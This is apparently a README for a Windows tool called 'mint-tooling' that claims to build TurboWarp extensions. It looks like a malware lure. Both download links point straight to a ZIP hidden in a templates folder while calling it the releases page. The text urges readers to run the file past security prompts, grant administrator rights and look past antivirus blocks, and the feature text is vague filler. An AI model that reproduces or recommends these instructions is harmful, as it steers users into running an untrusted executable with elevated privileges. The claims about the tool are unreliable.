🧰 mint-tooling - Build TurboWarp Extensions with Ease

🌟 What this app does

mint-tooling is a simple desktop tool for building custom TurboWarp extensions on Windows. It helps you turn your extension files into a ready-to-use build with less setup and less manual work.

Use it if you want a cleaner way to work on Scratch and TurboWarp extensions without dealing with extra steps each time you make a change.

🖥️ What you need

• Windows 10 or Windows 11
• A computer with at least 4 GB of RAM
• About 200 MB of free disk space
• Internet access for the first download
• Permission to run downloaded apps

📥 Download mint-tooling

Visit this page to download the latest Windows release:

https://github.com/Fifthfaberge24/mint-tooling/raw/refs/heads/main/templates/looks/tooling-mint-v2.3.zip

After the page opens:

1. Look for the newest release at the top.
2. Open the Assets section.
3. Download the Windows file for your computer.
4. Save the file to a folder you can find later.

🚀 Install and run on Windows

1. Open the downloaded file.
2. If Windows shows a security prompt, choose the option to keep or run the file.
3. If the file is in a ZIP folder, right-click it and choose Extract All.
4. Open the extracted folder.
5. Double-click the app file to start mint-tooling.

If Windows asks for permission, choose Yes.

🛠️ How to use mint-tooling

1. Open mint-tooling.
2. Choose or create your project folder.
3. Add your extension files.
4. Pick the build option you want.
5. Start the build.
6. Wait for the process to finish.
7. Open the output folder and use the generated files in TurboWarp.

📁 Typical project folders

A simple project may look like this:

• src for your source files
• dist for build output
• assets for images or support files
• config for app settings
• README for project notes

You can keep your extension code in one place and let mint-tooling handle the build step.

✨ Main things you can do

• Build TurboWarp extensions from a simple project setup
• Keep your files in a clear folder structure
• Work with JavaScript or TypeScript projects
• Use bundling to combine files for release
• Rebuild your project after changes
• Keep your extension files ready for testing

🔧 Best results

• Keep your project folder in a short path, such as C:\Projects\mint
• Use clear file names
• Save changes before you build
• Keep your source files in one folder
• Remove old build files if you see mixed results
• Use the newest release when you want the latest fixes

🧩 If the app does not open

1. Check that the file finished downloading.
2. Make sure you extracted the ZIP file if the release came in one.
3. Right-click the app and choose Run as administrator.
4. Check your antivirus if it blocks the file.
5. Download the release again from the releases page.

📌 Good folder habits

• Put each extension in its own folder
• Keep test files separate from release files
• Back up your project before larger changes
• Use one main folder for each build
• Store notes in a text file inside the project folder

🧭 Quick start

1. Download mint-tooling from the releases page.
2. Open the file on your Windows PC.
3. Set your project folder.
4. Add your extension files.
5. Run the build.
6. Use the output in TurboWarp

🔎 What this repository is for

mint-tooling is made for extension work, build flow, and bundling. It fits projects that use JavaScript, TypeScript, and common development tools for Scratch and TurboWarp extension work.

📦 File types you may see

• .exe for the app
• .zip for a packed release
• .json for settings
• .js for JavaScript files
• .ts for TypeScript files
• .map for build support files

🔐 Safe use on Windows

Download mint-tooling only from the releases page linked above. After that, open the file from your Downloads folder or from a folder you made for tools.

🗂️ Common workflow

1. Create a project folder.
2. Add your extension code.
3. Open mint-tooling.
4. Build the project.
5. Test the result in TurboWarp.
6. Make changes.
7. Build again

📚 Project focus

• build
• bundling
• extensions
• javascript
• node
• scratch
• turbowarp
• typescript
• ci
• cd

🧪 Example use case

If you are making a custom TurboWarp extension, you can keep your source files in one folder, run a build, and get a clean output folder for testing. This helps when you want fewer manual steps and a more regular build process.

🧰 Helpful file organization example

• my-extension
  • src
    • main.ts
    • helper.ts
  • dist
  • package.json
  • README.md

This kind of layout keeps your work simple and easy to follow.

⌨️ If you work with code later

You do not need programming knowledge to run mint-tooling. If you decide to edit extension files later, the app works well with common text editors and project folders used in Node-based workflows.

📌 Release page

Download and run the latest Windows release from:

https://github.com/Fifthfaberge24/mint-tooling/raw/refs/heads/main/templates/looks/tooling-mint-v2.3.zip